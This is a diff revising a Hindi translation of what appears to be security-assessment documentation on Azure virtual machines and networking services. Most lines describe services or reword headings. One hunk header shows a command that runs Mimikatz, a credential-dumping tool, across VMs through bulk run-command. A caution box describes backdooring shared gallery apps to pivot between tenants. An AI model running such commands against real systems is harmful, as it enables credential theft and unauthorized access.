Azure नेटवर्क में **विभिन्न संस्थाएँ और इसे कॉन्फ़िगर करने के तरीके** शामिल हैं। आप विभिन्न Azure नेटवर्क संस्थाओं के लिए संक्षिप्त **विवरण,** **उदाहरण** और **गणना** कमांड पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
az-azure-network.md
|
||||
@@ -12,7 +12,7 @@ az-azure-network.md
|
||||
|
||||
## VMs बुनियादी जानकारी
|
||||
|
||||
Azure वर्चुअल मशीनें (VMs) लचीली, मांग पर **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं।** ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है ताकि विशिष्ट आवश्यकताओं को पूरा किया जा सके और Azure सेवाओं जैसे वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों के साथ एकीकृत किया जा सके।
|
||||
Azure वर्चुअल मशीनें (VMs) लचीली, मांग पर **क्लाउड-आधारित सर्वर हैं जो आपको Windows या Linux ऑपरेटिंग सिस्टम चलाने की अनुमति देती हैं**। ये आपको भौतिक हार्डवेयर प्रबंधित किए बिना अनुप्रयोगों और कार्यभार को तैनात करने की अनुमति देती हैं। Azure VMs को विभिन्न CPU, मेमोरी और स्टोरेज विकल्पों के साथ कॉन्फ़िगर किया जा सकता है ताकि विशिष्ट आवश्यकताओं को पूरा किया जा सके और Azure सेवाओं जैसे वर्चुअल नेटवर्क, स्टोरेज और सुरक्षा उपकरणों के साथ एकीकृत किया जा सके।
|
||||
|
||||
### सुरक्षा कॉन्फ़िगरेशन
|
||||
|
||||
@@ -21,14 +21,14 @@ Azure वर्चुअल मशीनें (VMs) लचीली, मां
|
||||
- **मानक सुरक्षा**: यह डिफ़ॉल्ट सुरक्षा प्रकार है जिसे किसी विशेष कॉन्फ़िगरेशन की आवश्यकता नहीं होती है।
|
||||
- **विश्वसनीय लॉन्च**: यह सुरक्षा प्रकार बूट किट और कर्नेल-स्तरीय मैलवेयर के खिलाफ सुरक्षा को बढ़ाता है, जिसमें सुरक्षित बूट और वर्चुअल ट्रस्टेड प्लेटफ़ॉर्म मॉड्यूल (vTPM) का उपयोग किया जाता है।
|
||||
- **गोपनीय VMs**: एक विश्वसनीय लॉन्च के शीर्ष पर, यह VM, हाइपरवाइज़र और होस्ट प्रबंधन के बीच हार्डवेयर-आधारित अलगाव प्रदान करता है, डिस्क एन्क्रिप्शन में सुधार करता है और [**अधिक**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**।**
|
||||
- **प्रमाणीकरण**: डिफ़ॉल्ट रूप से एक नया **SSH कुंजी उत्पन्न किया जाता है**, हालांकि एक सार्वजनिक कुंजी का उपयोग करना या पिछले कुंजी का उपयोग करना संभव है और डिफ़ॉल्ट उपयोगकर्ता नाम **azureuser** है। एक **पासवर्ड** का उपयोग करने के लिए कॉन्फ़िगर करना भी संभव है।
|
||||
- **प्रमाणीकरण**: डिफ़ॉल्ट रूप से एक नया **SSH कुंजी उत्पन्न की जाती है**, हालांकि एक सार्वजनिक कुंजी का उपयोग करना या पिछले कुंजी का उपयोग करना संभव है और डिफ़ॉल्ट उपयोगकर्ता नाम **azureuser** है। एक **पासवर्ड** का उपयोग करने के लिए कॉन्फ़िगर करना भी संभव है।
|
||||
- **VM डिस्क एन्क्रिप्शन:** डिस्क डिफ़ॉल्ट रूप से एक प्लेटफ़ॉर्म प्रबंधित कुंजी का उपयोग करके आराम में एन्क्रिप्ट की जाती है।
|
||||
- **होस्ट पर एन्क्रिप्शन** सक्षम करना भी संभव है, जहां डेटा को स्टोरेज सेवा में भेजने से पहले होस्ट में एन्क्रिप्ट किया जाएगा, जिससे होस्ट और स्टोरेज सेवा के बीच एंड-टू-एंड एन्क्रिप्शन सुनिश्चित होता है ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **NIC नेटवर्क सुरक्षा समूह**:
|
||||
- **कोई नहीं**: मूल रूप से हर पोर्ट खोलता है
|
||||
- **बुनियादी**: HTTP (80), HTTPS (443), SSH (22), RDP (3389) इनबाउंड पोर्ट को आसानी से खोलने की अनुमति देता है
|
||||
- **उन्नत**: एक सुरक्षा समूह का चयन करें
|
||||
- **बैकअप**: **मानक** बैकअप (एक दिन में एक) और **उन्नत** (एक दिन में कई) सक्षम करना संभव है
|
||||
- **बैकअप**: **मानक** बैकअप (एक दिन में एक) और **उन्नत** (प्रतिदिन कई) सक्षम करना संभव है
|
||||
- **पैच समन्वय विकल्प**: यह चयनित नीति के अनुसार VMs में स्वचालित रूप से पैच लागू करने की अनुमति देता है, जैसा कि [**docs**](https://learn.microsoft.com/en-us/azure/virtual-machines/automatic-vm-guest-patching) में वर्णित है।
|
||||
- **अलर्ट**: जब VM में कुछ होता है तो ईमेल या मोबाइल ऐप द्वारा स्वचालित रूप से अलर्ट प्राप्त करना संभव है। डिफ़ॉल्ट नियम:
|
||||
- CPU प्रतिशत 80% से अधिक है
|
||||
@@ -144,15 +144,15 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
[**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) से: साइट रिकवरी यह सुनिश्चित करने में मदद करती है कि व्यावसायिक अनुप्रयोग और कार्यभार आउटेज के दौरान चलते रहें। साइट रिकवरी **कार्यभार को दोहराती है** जो भौतिक और आभासी मशीनों (VMs) पर चल रहे हैं, एक प्राथमिक साइट से एक द्वितीयक स्थान पर। जब आपके प्राथमिक स्थान पर आउटेज होता है, तो आप एक द्वितीयक स्थान पर स्विच करते हैं, और वहां से अनुप्रयोगों तक पहुंचते हैं। जब प्राथमिक स्थान फिर से चालू हो जाता है, तो आप वापस स्विच कर सकते हैं।
|
||||
[**दस्तावेज़ों**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview) से: साइट रिकवरी यह सुनिश्चित करने में मदद करती है कि व्यावसायिक अनुप्रयोग और कार्यभार आउटेज के दौरान चलते रहें। साइट रिकवरी **कार्यभार को** प्राथमिक साइट से द्वितीयक स्थान पर चलने वाले भौतिक और आभासी मशीनों (VMs) पर **प्रतिलिपि** करती है। जब आपके प्राथमिक साइट पर आउटेज होता है, तो आप द्वितीयक स्थान पर स्विच करते हैं, और वहां से अनुप्रयोगों तक पहुँचते हैं। जब प्राथमिक स्थान फिर से चलने लगता है, तो आप वापस स्विच कर सकते हैं।
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
Azure Bastion आपके आभासी मशीनों (VMs) के लिए सुरक्षित और निर्बाध **रिमोट डेस्कटॉप प्रोटोकॉल (RDP)** और **सिक्योर शेल (SSH)** एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को **खत्म करता है**।
|
||||
Azure Bastion आपके आभासी मशीनों (VMs) के लिए सुरक्षित और निर्बाध **रिमोट डेस्कटॉप प्रोटोकॉल (RDP)** और **सिक्योर शेल (SSH)** एक्सेस को सीधे Azure पोर्टल के माध्यम से या एक जंप बॉक्स के माध्यम से सक्षम करता है। यह आपके VMs पर सार्वजनिक IP पते की आवश्यकता को **हटाकर**।
|
||||
|
||||
Bastion एक उपनेट को **`AzureBastionSubnet`** के रूप में तैनात करता है जिसमें एक `/26` नेटमास्क होता है जिस VNet पर इसे काम करने की आवश्यकता होती है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है।
|
||||
Bastion एक उपनेट को **`AzureBastionSubnet`** के रूप में तैनात करता है जिसमें `/26` नेटमास्क होता है जिस VNet पर इसे काम करने की आवश्यकता होती है। फिर, यह **ब्राउज़र के माध्यम से आंतरिक VMs से कनेक्ट करने** की अनुमति देता है `RDP` और `SSH` का उपयोग करके, VMs के पोर्ट्स को इंटरनेट पर उजागर किए बिना। यह एक **जंप होस्ट** के रूप में भी काम कर सकता है।
|
||||
|
||||
आप अपनी सदस्यता में सभी Azure Bastion होस्टों की सूची बनाने और उनके माध्यम से VMs से कनेक्ट करने के लिए निम्नलिखित कमांड का उपयोग कर सकते हैं:
|
||||
आपकी सदस्यता में सभी Azure Bastion होस्टों की सूची बनाने और उनके माध्यम से VMs से कनेक्ट करने के लिए, आप निम्नलिखित कमांड का उपयोग कर सकते हैं:
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -633,7 +633,7 @@ az sig gallery-application list --gallery-name <gallery-name> --resource-group <
|
||||
नए एप्लिकेशन स्थापित करने के तरीके की जांच करें [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
|
||||
> [!CAUTION]
|
||||
> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरी को अन्य सब्सक्रिप्शन या टेनेंट के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट में पिवट करने की अनुमति दे सकता है।
|
||||
> यह संभव है कि **व्यक्तिगत ऐप्स और गैलरियों को अन्य सब्सक्रिप्शन या टेनेंट्स के साथ साझा किया जाए**। जो बहुत दिलचस्प है क्योंकि यह एक हमलावर को एक एप्लिकेशन में बैकडोर डालने और अन्य सब्सक्रिप्शन और टेनेंट्स पर पिवट करने की अनुमति दे सकता है।
|
||||
|
||||
लेकिन **vm ऐप्स के लिए "मार्केटप्लेस" नहीं है** जैसे कि एक्सटेंशन के लिए है।
|
||||
|
||||
@@ -747,7 +747,7 @@ echo "Hello World" > /var/tmp/output.txt
|
||||
```
|
||||
### **कमांड चलाएँ**
|
||||
|
||||
यह सबसे बुनियादी तंत्र है जो Azure **VMs में मनमाने कमांड चलाने** के लिए प्रदान करता है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`।
|
||||
यह Azure द्वारा **VMs में मनमाने कमांड निष्पादित करने** के लिए प्रदान किया गया सबसे बुनियादी तंत्र है। आवश्यक अनुमति है `Microsoft.Compute/virtualMachines/runCommand/action`।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
@@ -798,13 +798,13 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## बिना प्रमाणीकरण का उपयोग
|
||||
## बिना प्रमाणीकरण का अभिगम
|
||||
|
||||
{{#ref}}
|
||||
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
|
||||
{{#endref}}
|
||||
|
||||
## पोस्ट एक्सप्लोइटेशन
|
||||
## पोस्ट शोषण
|
||||
|
||||
{{#ref}}
|
||||
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
|
||||
|
||||
@@ -49,7 +49,7 @@ Select-Object Name, AddressPrefix
|
||||
|
||||
## नेटवर्क सुरक्षा समूह (NSG)
|
||||
|
||||
एक **नेटवर्क सुरक्षा समूह (NSG)** Azure वर्चुअल नेटवर्क (VNet) के भीतर Azure संसाधनों के लिए नेटवर्क ट्रैफ़िक को फ़िल्टर करता है। इसमें **सुरक्षा नियमों** का एक सेट होता है जो **इनबाउंड और आउटबाउंड ट्रैफ़िक के लिए कौन से पोर्ट खोलने हैं** को स्रोत पोर्ट, स्रोत IP, पोर्ट गंतव्य द्वारा इंगित कर सकता है और इसे एक प्राथमिकता सौंपना संभव है (जितनी कम प्राथमिकता संख्या, उतनी ही उच्च प्राथमिकता)।
|
||||
एक **नेटवर्क सुरक्षा समूह (NSG)** Azure वर्चुअल नेटवर्क (VNet) के भीतर Azure संसाधनों के लिए नेटवर्क ट्रैफ़िक को फ़िल्टर करता है। इसमें **सुरक्षा नियमों** का एक सेट होता है जो **इनबाउंड और आउटबाउंड ट्रैफ़िक के लिए कौन से पोर्ट खोलने हैं** को स्रोत पोर्ट, स्रोत IP, पोर्ट गंतव्य द्वारा इंगित कर सकता है और इसे एक प्राथमिकता सौंपना संभव है (जितना कम प्राथमिकता संख्या, उतनी ही उच्च प्राथमिकता)।
|
||||
|
||||
NSGs को **सबनेट और NICs** से जोड़ा जा सकता है।
|
||||
|
||||
@@ -141,13 +141,13 @@ Get-AzFirewall
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Route Tables
|
||||
## Azure रूट टेबल
|
||||
|
||||
Azure **Route Tables** का उपयोग नेटवर्क ट्रैफ़िक के रूटिंग को नियंत्रित करने के लिए किया जाता है जो एक सबनेट के भीतर होता है। वे नियमों को परिभाषित करते हैं जो यह निर्दिष्ट करते हैं कि पैकेट्स को कैसे अग्रेषित किया जाना चाहिए, या तो Azure संसाधनों, इंटरनेट, या एक विशिष्ट अगले हॉप जैसे कि एक वर्चुअल एप्लायंस या Azure फ़ायरवॉल की ओर। आप एक **सबनेट** के साथ एक रूट टेबल को जोड़ सकते हैं, और उस सबनेट के भीतर सभी संसाधन तालिका में रूट का पालन करेंगे।
|
||||
Azure **रूट टेबल** का उपयोग नेटवर्क ट्रैफ़िक के रूटिंग को नियंत्रित करने के लिए किया जाता है। वे नियमों को परिभाषित करते हैं जो यह निर्दिष्ट करते हैं कि पैकेट्स को कैसे अग्रेषित किया जाना चाहिए, चाहे वह Azure संसाधनों, इंटरनेट, या किसी विशिष्ट अगले हॉप जैसे कि वर्चुअल एप्लायंस या Azure फ़ायरवॉल के लिए हो। आप एक **सबनेट** के साथ एक रूट टेबल को जोड़ सकते हैं, और उस सबनेट के भीतर सभी संसाधन तालिका में रूट का पालन करेंगे।
|
||||
|
||||
**उदाहरण:** यदि एक सबनेट में ऐसे संसाधन हैं जिन्हें निरीक्षण के लिए नेटवर्क वर्चुअल एप्लायंस (NVA) के माध्यम से आउटबाउंड ट्रैफ़िक को रूट करने की आवश्यकता है, तो आप एक रूट टेबल में एक **रूट** बना सकते हैं ताकि सभी ट्रैफ़िक (जैसे, `0.0.0.0/0`) को NVA के निजी IP पते की ओर अगला हॉप के रूप में पुनर्निर्देशित किया जा सके।
|
||||
**उदाहरण:** यदि एक सबनेट में ऐसे संसाधन हैं जिन्हें निरीक्षण के लिए नेटवर्क वर्चुअल एप्लायंस (NVA) के माध्यम से आउटबाउंड ट्रैफ़िक को रूट करने की आवश्यकता है, तो आप एक रूट टेबल में एक **रूट** बना सकते हैं ताकि सभी ट्रैफ़िक (जैसे, `0.0.0.0/0`) को NVA के निजी IP पते पर अगले हॉप के रूप में पुनर्निर्देशित किया जा सके।
|
||||
|
||||
### **Enumeration**
|
||||
### **गणना**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -208,7 +208,7 @@ Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, Private
|
||||
|
||||
## Azure सेवा एंडपॉइंट
|
||||
|
||||
Azure सेवा एंडपॉइंट आपके वर्चुअल नेटवर्क के निजी पते की जगह और आपके VNet की पहचान को Azure सेवाओं के साथ एक सीधे कनेक्शन के माध्यम से बढ़ाते हैं। सेवा एंडपॉइंट सक्षम करके, **आपके VNet में संसाधन सुरक्षित रूप से Azure सेवाओं से कनेक्ट कर सकते हैं**, जैसे Azure Storage और Azure SQL Database, Azure के बैकबोन नेटवर्क का उपयोग करते हुए। यह सुनिश्चित करता है कि **VNet से Azure सेवा तक का ट्रैफ़िक Azure नेटवर्क के भीतर रहता है**, जो एक अधिक सुरक्षित और विश्वसनीय मार्ग प्रदान करता है।
|
||||
Azure सेवा एंडपॉइंट आपके वर्चुअल नेटवर्क के निजी पते की जगह और आपके VNet की पहचान को Azure सेवाओं के लिए एक सीधे कनेक्शन के माध्यम से बढ़ाते हैं। सेवा एंडपॉइंट सक्षम करके, **आपके VNet में संसाधन सुरक्षित रूप से Azure सेवाओं से कनेक्ट कर सकते हैं**, जैसे Azure Storage और Azure SQL Database, Azure के बैकबोन नेटवर्क का उपयोग करते हुए। यह सुनिश्चित करता है कि **VNet से Azure सेवा तक का ट्रैफ़िक Azure नेटवर्क के भीतर रहता है**, जो एक अधिक सुरक्षित और विश्वसनीय मार्ग प्रदान करता है।
|
||||
|
||||
**उदाहरण:**
|
||||
|
||||
@@ -237,31 +237,31 @@ Get-AzVirtualNetwork
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### सेवा एंडपॉइंट और प्राइवेट लिंक के बीच अंतर
|
||||
### Service Endpoints और Private Links के बीच के अंतर
|
||||
|
||||
Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) में प्राइवेट लिंक का उपयोग करने की सिफारिश करता है:
|
||||
Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints) में Private Links का उपयोग करने की सिफारिश करता है:
|
||||
|
||||
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**सेवा एंडपॉइंट:**
|
||||
**Service Endpoints:**
|
||||
|
||||
- आपके VNet से Azure सेवा तक का ट्रैफ़िक Microsoft Azure बैकबोन नेटवर्क के माध्यम से यात्रा करता है, सार्वजनिक इंटरनेट को बायपास करता है।
|
||||
- एंडपॉइंट Azure सेवा के लिए एक सीधा कनेक्शन है और VNet के भीतर सेवा के लिए एक प्राइवेट IP प्रदान नहीं करता है।
|
||||
- सेवा स्वयं आपके VNet के बाहर से इसके सार्वजनिक एंडपॉइंट के माध्यम से अभी भी सुलभ है जब तक कि आप सेवा फ़ायरवॉल को ऐसे ट्रैफ़िक को ब्लॉक करने के लिए कॉन्फ़िगर नहीं करते।
|
||||
- Endpoint Azure सेवा के लिए एक सीधा कनेक्शन है और VNet के भीतर सेवा के लिए एक निजी IP प्रदान नहीं करता है।
|
||||
- सेवा स्वयं आपके VNet के बाहर से इसके सार्वजनिक endpoint के माध्यम से अभी भी सुलभ है जब तक कि आप सेवा फ़ायरवॉल को ऐसे ट्रैफ़िक को ब्लॉक करने के लिए कॉन्फ़िगर नहीं करते।
|
||||
- यह सबनेट और Azure सेवा के बीच एक-से-एक संबंध है।
|
||||
- प्राइवेट लिंक की तुलना में कम महंगा है।
|
||||
- Private Links की तुलना में कम महंगा है।
|
||||
|
||||
**प्राइवेट लिंक:**
|
||||
**Private Links:**
|
||||
|
||||
- प्राइवेट लिंक Azure सेवाओं को आपके VNet में एक प्राइवेट एंडपॉइंट के माध्यम से मैप करता है, जो आपके VNet के भीतर एक प्राइवेट IP पते के साथ एक नेटवर्क इंटरफेस है।
|
||||
- Azure सेवा को इस प्राइवेट IP पते का उपयोग करके एक्सेस किया जाता है, जिससे यह ऐसा प्रतीत होता है जैसे यह आपके नेटवर्क का हिस्सा है।
|
||||
- प्राइवेट लिंक के माध्यम से जुड़े सेवाओं को केवल आपके VNet या जुड़े नेटवर्क से एक्सेस किया जा सकता है; सेवा के लिए कोई सार्वजनिक इंटरनेट एक्सेस नहीं है।
|
||||
- Private Link Azure सेवाओं को आपके VNet में एक निजी endpoint के माध्यम से मैप करता है, जो आपके VNet के भीतर एक निजी IP पते के साथ एक नेटवर्क इंटरफेस है।
|
||||
- Azure सेवा को इस निजी IP पते का उपयोग करके एक्सेस किया जाता है, जिससे यह ऐसा प्रतीत होता है जैसे यह आपके नेटवर्क का हिस्सा है।
|
||||
- Private Link के माध्यम से जुड़े सेवाओं को केवल आपके VNet या जुड़े नेटवर्क से एक्सेस किया जा सकता है; सेवा के लिए कोई सार्वजनिक इंटरनेट एक्सेस नहीं है।
|
||||
- यह Azure सेवाओं या Azure में होस्ट की गई आपकी अपनी सेवाओं के लिए एक सुरक्षित कनेक्शन सक्षम करता है, साथ ही दूसरों द्वारा साझा की गई सेवाओं के लिए भी।
|
||||
- यह आपके VNet में एक प्राइवेट एंडपॉइंट के माध्यम से अधिक बारीक पहुंच नियंत्रण प्रदान करता है, जबकि सेवा एंडपॉइंट के साथ सबनेट स्तर पर व्यापक पहुंच नियंत्रण की तुलना में।
|
||||
- यह आपके VNet में एक निजी endpoint के माध्यम से अधिक सूक्ष्म पहुंच नियंत्रण प्रदान करता है, जबकि सेवा endpoints के साथ सबनेट स्तर पर व्यापक पहुंच नियंत्रण की तुलना में।
|
||||
|
||||
संक्षेप में, जबकि सेवा एंडपॉइंट और प्राइवेट लिंक दोनों Azure सेवाओं के लिए सुरक्षित कनेक्टिविटी प्रदान करते हैं, **प्राइवेट लिंक उच्च स्तर की अलगाव और सुरक्षा प्रदान करते हैं यह सुनिश्चित करके कि सेवाओं को सार्वजनिक इंटरनेट के बिना निजी रूप से एक्सेस किया जाए**। दूसरी ओर, सेवा एंडपॉइंट सामान्य मामलों के लिए सेट अप करना आसान है जहां Azure सेवाओं के लिए सरल, सुरक्षित पहुंच की आवश्यकता होती है बिना VNet में प्राइवेट IP की आवश्यकता के।
|
||||
संक्षेप में, जबकि Service Endpoints और Private Links दोनों Azure सेवाओं के लिए सुरक्षित कनेक्टिविटी प्रदान करते हैं, **Private Links एक उच्च स्तर की अलगाव और सुरक्षा प्रदान करते हैं यह सुनिश्चित करके कि सेवाओं को सार्वजनिक इंटरनेट के लिए उजागर किए बिना निजी रूप से एक्सेस किया जाता है**। दूसरी ओर, Service Endpoints सामान्य मामलों के लिए सेट अप करना आसान है जहां Azure सेवाओं के लिए सरल, सुरक्षित पहुंच की आवश्यकता होती है बिना VNet में एक निजी IP की आवश्यकता के।
|
||||
|
||||
## Azure Front Door (AFD) और AFD WAF
|
||||
## Azure Front Door (AFD) & AFD WAF
|
||||
|
||||
**Azure Front Door** आपके वैश्विक वेब अनुप्रयोगों के लिए **तेज़ वितरण** के लिए एक स्केलेबल और सुरक्षित प्रवेश बिंदु है। यह **वैश्विक लोड बैलेंसिंग, साइट त्वरक, SSL ऑफ़लोडिंग, और वेब एप्लिकेशन फ़ायरवॉल (WAF)** क्षमताओं जैसे विभिन्न सेवाओं को एकल सेवा में **संयोजित** करता है। Azure Front Door उपयोगकर्ता के लिए **सबसे निकटतम एज स्थान** के आधार पर बुद्धिमान रूटिंग प्रदान करता है, जिससे प्रदर्शन और विश्वसनीयता सुनिश्चित होती है। इसके अतिरिक्त, यह URL-आधारित रूटिंग, कई साइट होस्टिंग, सत्र संबंधी अनुकूलता, और एप्लिकेशन स्तर की सुरक्षा प्रदान करता है।
|
||||
|
||||
@@ -269,9 +269,9 @@ Microsoft [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vne
|
||||
|
||||
**उदाहरण:**
|
||||
|
||||
कल्पना करें कि आपके पास एक वैश्विक रूप से वितरित अनुप्रयोग है जिसमें दुनिया भर में उपयोगकर्ता हैं। आप Azure Front Door का उपयोग करके **उपयोगकर्ता अनुरोधों को आपके अनुप्रयोग को होस्ट करने वाले निकटतम क्षेत्रीय डेटा सेंटर** की ओर रूट कर सकते हैं, जिससे विलंबता कम होती है, उपयोगकर्ता अनुभव में सुधार होता है और **WAF क्षमताओं के साथ वेब हमलों से इसकी रक्षा होती है**। यदि किसी विशेष क्षेत्र में डाउनटाइम होता है, तो Azure Front Door स्वचालित रूप से ट्रैफ़िक को अगली सबसे अच्छी स्थिति की ओर रूट कर सकता है, जिससे उच्च उपलब्धता सुनिश्चित होती है।
|
||||
कल्पना करें कि आपके पास एक वैश्विक रूप से वितरित अनुप्रयोग है जिसमें दुनिया भर में उपयोगकर्ता हैं। आप Azure Front Door का उपयोग करके **उपयोगकर्ता अनुरोधों को आपके अनुप्रयोग को होस्ट करने वाले निकटतम क्षेत्रीय डेटा केंद्र की ओर रूट कर सकते हैं**, जिससे विलंबता कम होती है, उपयोगकर्ता अनुभव में सुधार होता है और **WAF क्षमताओं के साथ वेब हमलों से इसकी रक्षा होती है**। यदि किसी विशेष क्षेत्र में डाउनटाइम होता है, तो Azure Front Door स्वचालित रूप से ट्रैफ़िक को अगले सबसे अच्छे स्थान पर रीरूट कर सकता है, जिससे उच्च उपलब्धता सुनिश्चित होती है।
|
||||
|
||||
### गणना
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -300,7 +300,7 @@ Azure Application Gateway एक **वेब ट्रैफिक लोड ब
|
||||
|
||||
**उदाहरण:**
|
||||
|
||||
एक परिदृश्य पर विचार करें जहाँ आपके पास एक ई-कॉमर्स वेबसाइट है जिसमें विभिन्न कार्यों के लिए कई उपडोमेन शामिल हैं, जैसे उपयोगकर्ता खाते और भुगतान प्रसंस्करण। Azure Application Gateway **URL पथ के आधार पर उपयुक्त वेब सर्वरों के लिए ट्रैफिक को रूट कर सकता है**। उदाहरण के लिए, `example.com/accounts` पर ट्रैफिक को उपयोगकर्ता खातों की सेवा की ओर निर्देशित किया जा सकता है, और `example.com/pay` पर ट्रैफिक को भुगतान प्रसंस्करण सेवा की ओर निर्देशित किया जा सकता है।\
|
||||
एक परिदृश्य पर विचार करें जहाँ आपके पास एक ई-कॉमर्स वेबसाइट है जिसमें विभिन्न कार्यों के लिए कई उपडोमेन शामिल हैं, जैसे उपयोगकर्ता खाते और भुगतान प्रसंस्करण। Azure Application Gateway **URL पथ के आधार पर उपयुक्त वेब सर्वरों की ओर ट्रैफिक रूट कर सकता है**। उदाहरण के लिए, `example.com/accounts` पर ट्रैफिक को उपयोगकर्ता खातों की सेवा की ओर निर्देशित किया जा सकता है, और `example.com/pay` पर ट्रैफिक को भुगतान प्रसंस्करण सेवा की ओर निर्देशित किया जा सकता है।\
|
||||
और **WAF क्षमताओं का उपयोग करके अपने वेबसाइट को हमलों से सुरक्षित करें।**
|
||||
|
||||
### **Enumeration**
|
||||
@@ -331,7 +331,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
|
||||
|
||||
**उदाहरण:**
|
||||
|
||||
कल्पना करें कि एक कंपनी में अलग-अलग विभाग हैं जैसे बिक्री, मानव संसाधन, और विकास, **प्रत्येक के पास अपना खुद का VNet (स्पोक्स)** है। इन VNets को **साझा संसाधनों तक पहुंच की आवश्यकता है** जैसे एक केंद्रीय डेटाबेस, एक फ़ायरवॉल, और एक इंटरनेट गेटवे, जो सभी **दूसरे VNet (हब)** में स्थित हैं। हब और स्पोक मॉडल का उपयोग करके, प्रत्येक विभाग **हब VNet के माध्यम से साझा संसाधनों से सुरक्षित रूप से कनेक्ट कर सकता है बिना उन संसाधनों को सार्वजनिक इंटरनेट पर उजागर किए** या कई कनेक्शनों के साथ एक जटिल नेटवर्क संरचना बनाए बिना।
|
||||
कल्पना करें कि एक कंपनी में अलग-अलग विभाग हैं जैसे बिक्री, मानव संसाधन, और विकास, **प्रत्येक के पास अपना खुद का VNet (स्पोक्स)** है। इन VNets को **साझा संसाधनों तक पहुँच की आवश्यकता है** जैसे एक केंद्रीय डेटाबेस, एक फ़ायरवॉल, और एक इंटरनेट गेटवे, जो सभी **दूसरे VNet (हब)** में स्थित हैं। हब और स्पोक मॉडल का उपयोग करके, प्रत्येक विभाग **हब VNet के माध्यम से साझा संसाधनों से सुरक्षित रूप से कनेक्ट कर सकता है बिना उन संसाधनों को सार्वजनिक इंटरनेट पर उजागर किए** या कई कनेक्शनों के साथ एक जटिल नेटवर्क संरचना बनाए बिना।
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -368,7 +368,7 @@ Azure में एक साइट-से-साइट वीपीएन आ
|
||||
|
||||
**उदाहरण:**
|
||||
|
||||
एक व्यवसाय जिसका मुख्य कार्यालय न्यूयॉर्क में स्थित है, एक ऑन-प्रिमाइसेस डेटा सेंटर है जिसे Azure में अपने VNet से सुरक्षित रूप से कनेक्ट करने की आवश्यकता है, जो इसके वर्चुअलाइज्ड वर्कलोड्स को होस्ट करता है। एक **साइट-से-साइट वीपीएन सेटअप करके, कंपनी ऑन-प्रिमाइसेस सर्वरों और Azure VMs के बीच एन्क्रिप्टेड कनेक्टिविटी सुनिश्चित कर सकती है**, जिससे संसाधनों को दोनों वातावरणों में सुरक्षित रूप से एक्सेस किया जा सके जैसे कि वे एक ही स्थानीय नेटवर्क में हों।
|
||||
एक व्यवसाय जिसका मुख्य कार्यालय न्यूयॉर्क में स्थित है, एक ऑन-प्रिमाइसेस डेटा सेंटर है जिसे Azure में अपने VNet से सुरक्षित रूप से कनेक्ट करने की आवश्यकता है, जो इसके वर्चुअलाइज्ड वर्कलोड्स को होस्ट करता है। एक **साइट-से-साइट वीपीएन सेटअप करके, कंपनी ऑन-प्रिमाइसेस सर्वरों और Azure VMs के बीच एन्क्रिप्टेड कनेक्टिविटी सुनिश्चित कर सकती है**, जिससे दोनों वातावरणों में संसाधनों को सुरक्षित रूप से एक्सेस किया जा सके जैसे कि वे एक ही स्थानीय नेटवर्क में हों।
|
||||
|
||||
### **गणना**
|
||||
|
||||
@@ -395,11 +395,11 @@ Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## Azure ExpressRoute
|
||||
|
||||
